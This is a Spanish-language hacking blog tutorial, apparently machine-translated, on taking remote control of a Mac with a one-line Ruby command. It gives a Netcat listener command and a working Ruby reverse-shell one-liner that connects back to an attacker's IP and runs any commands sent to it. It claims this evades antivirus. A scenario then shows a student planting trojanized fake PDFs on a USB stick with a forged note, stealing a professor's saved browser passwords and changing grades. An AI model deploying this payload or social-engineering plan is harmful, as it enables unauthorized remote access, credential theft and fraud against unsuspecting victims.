BlogHacking macOS

Hackear macOS: Cómo hackear una MacBook con One Ruby Command

Con solo una línea de Rubí código incrustado en un PDF falso, un pirata informático puede controlar de forma remota cualquier computadora Mac desde cualquier parte del mundo. Crear el comando es la parte fácil, pero lograr que el objetivo abra el código es donde un hacker deberá ser creativo.

Ruby es solo una forma de acceder a una computadora con macOS (anteriormente Mac OS X) para obtener el control total de forma remota. Hemos cubierto los comandos de una línea que usaban Python, Tclsh o Bash, pero algunos de los más marcos de explotación populares están escritos en Ruby, por lo que es una opción clásica para principiantes.

¿Qué es Ruby?

Cuando se le ocurrió a Ruby, su creador, Yukihiro “Matz” Matsumoto, quería un lenguaje de programación que fuera más poderoso que Perl, más orientado a objetos que Python, y de apariencia simple con el potencial de funcionalidades muy complejas.

Gran parte del crecimiento de Ruby se puede atribuir a Ruby on Rails, un popular marco de aplicaciones web del lado del servidor con todas las funciones para crear sitios web fácilmente. Es por estas razones que Ruby se encuentra entre los mejores los lenguajes de codificación más populares del mundo e incluido en todas las Mac de forma predeterminada.

Según su experiencia de codificación como probador de penetración, Ruby puede ser un idioma preferido para compromisos tácticos. No hay ningún beneficio o desventaja importante al usar Ruby sobre Python, Tclsh o Bash para hacer una puerta trasera en una Mac, por lo que Ruby es una opción tan buena como cualquier otra.

Paso 1: iniciar un oyente de Netcat

Para comenzar a usar Ruby como mecanismo de puerta trasera, abra una terminal en Kali (o cualquier sistema operativo basado en Unix con Netcat instalado) y use el siguiente comando Netcat para iniciar un oyente. Aquí es donde se conectará el dispositivo macOS de destino cuando se ejecute el comando Ruby.

nc -v -l -p 9999
  • Netcat abrirá una escucha (-l) en cada interfaz disponible.
  • Si está trabajando en una red local, el oyente de Netcat estará disponible en su dirección local (por ejemplo, 192.168.0.X). Si el oyente se inicia en un servidor privado virtual (VPS), asegúrese de utilizar la dirección IP de su VPS en futuros comandos de Ruby.
  • El puerto (-pag) número (9999) es arbitrario y se puede cambiar.
  • La verbosidad (-v) argumento es importante aquí. Sin esto, cuando se establece una conexión con la MacBook, Mac Pro o cualquier otra computadora que ejecute macOS, la terminal Netcat no cambiará. Para proporcionar algún tipo de indicación de que la carga útil se ejecutó correctamente, habilite la verbosidad.

Paso 2: usa Ruby para crear una puerta trasera

Ejecute esto en el dispositivo macOS para crear una puerta trasera para el oyente de Netcat:

ruby -rsocket -e "c=TCPSocket.new('1.2.3.4','9999');while(cmd=c.gets);IO.popen(cmd,'r'){|io|c.print io.read}end"

Esta línea de arriba creará un socket TCP (TCPSocket.nuevo) y un bucle while (mientras … fin) que dice “mientras ingresan datos, asígnelos a cmd, ejecute la entrada como un comando de shell e imprímalo de nuevo en nuestra terminal (IO.popen (cmd, ‘r’) {| io | c.print io.read}). “Básicamente, le estamos diciendo a Ruby que tome el comando que enviamos, lo ejecute, interprete el resultado y nos lo envíe … una y otra vez hasta que rompamos la conexión con el dispositivo macOS.

Recuerde cambiar la dirección IP (1.2.3.4) y número de puerto (9999) para que coincida con el oyente Netcat creado en el paso anterior. Puede ser una dirección IP de red local o la dirección IP de su VPS. En el sistema del atacante (como se muestra a continuación), la terminal Netcat mostrará que se estableció una nueva conexión.

nc -v -l -p 9999
listening on [any] 9999 ...
connect to [192.168.1.55] from (UNKNOWN) [192.168.1.31] 50328

Pueden comenzar los ataques de conciencia situacional y posteriores a la explotación. Si este comando de Ruby está incrustado en un PDF troyano y lo ejecuta el objetivo, no tendrá acceso de root. En ese caso, hay varias formas de obtener acceso privilegiado. Si Ruby se usó para hacer una puerta trasera físicamente en un dispositivo macOS, tendrá root y podrá comenzar a descargar las contraseñas almacenadas en los navegadores web del objetivo. De cualquier manera, este comando de Ruby evitará por completo el software antivirus como Avast y AVG.

Paso 3: Utilice un ataque de ingeniería social

Estas cargas útiles pueden ejecutarse utilizando un USB Rubby Ducky o integrarse fácilmente en AppleScripts y enviarse a la víctima. Hay muchas formas de llevar la carga útil al objetivo, pero deberá utilizar sus habilidades de ingeniería social para que lo abran.

Al igual que hice con las frases sencillas de Python, Tclsh o Bash, a continuación se muestra una breve historia que ilustra lo fácil que sería para un pirata informático compartir un archivo troyanizado, en este caso, un AppleScript. Si bien esta historia es completamente ficticia e hipotética, probé la carga útil de Ruby destacada contra macOS High Sierra donde Software antivirus Avast fue instalado.

El profesor universitario y el PDF falso

Un estudiante de una prestigiosa universidad estaba reprobando el semestre y quería cambiar los puntajes de sus exámenes para aprobar el curso. El sitio web de la universidad utilizado por los profesores requería una dirección de correo electrónico y una contraseña para modificar las calificaciones y la información de los estudiantes, por lo que el estudiante decidió piratear a su profesor para conocer sus credenciales de inicio de sesión y cambiar su calificación. Para hacer esto, el estudiante creó varios archivos PDF falsos con AppleScript e incorporó una carga útil de Ruby en cada uno.

ruby -rsocket -e "c=TCPSocket.new('1.2.3.4','9999');while(cmd=c.gets);IO.popen(cmd,'r'){|io|c.print io.read}end"

El estudiante esperaba luego volcar las contraseñas almacenadas en el navegador web del profesor para conocer sus credenciales de inicio de sesión.

Después de mover los archivos PDF falsos al USB, el estudiante llegó a la escuela una hora antes que nadie y colocó el USB en el escritorio del profesor con una nota escrita a mano.

Profesor,

Según la solicitud de la profesora Jessica Barker, en el USB está el itinerario de la excursión académica de este año y las facturas de los gastos. Revíselos lo antes posible.

~ David Pacios

El estudiante firmó la nota como otro profesor que probablemente participó en la excursión anual de la universidad para crear un fuerte sentido de legitimidad en el mensaje.

Al llegar, el profesor notó el USB y la nota en su escritorio. Después de insertar el USB y hacer doble clic en los archivos PDF para revisarlos, no pareció que sucediera nada ya que las cargas útiles de Ruby se ejecutaron silenciosamente en segundo plano. Confundido, el profesor abrió su aplicación Mail y redactó un mensaje de correo electrónico para David.

Hola David

Los archivos PDF de este USB no parecen abrirse. ¿Puedes intentar enviármelo por correo electrónico? Gracias.

~ Profesor pirateado

Después de que el estudiante obtuvo acceso remoto a la MacBook, abandonó las contraseñas almacenadas en el navegador Firefox para aprender la contraseña de inicio de sesión del profesor y cambió las calificaciones de sus exámenes a una calificación aprobatoria.

Esté atento a más cargas útiles de una sola línea …

Este es solo otro ejemplo de cómo los piratas informáticos, con un solo comando, son capaces de comprometer los dispositivos macOS, pero todavía no he terminado de usar Mac con un solo comando. En artículos futuros, continuaré mostrando cómo usar programas integrados en macOS para otorgar a los piratas informáticos acceso remoto completo.

Foto de portada de Fotos de archivo de inicio / PEXELS

Publicaciones relacionadas

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Botón volver arriba
Cerrar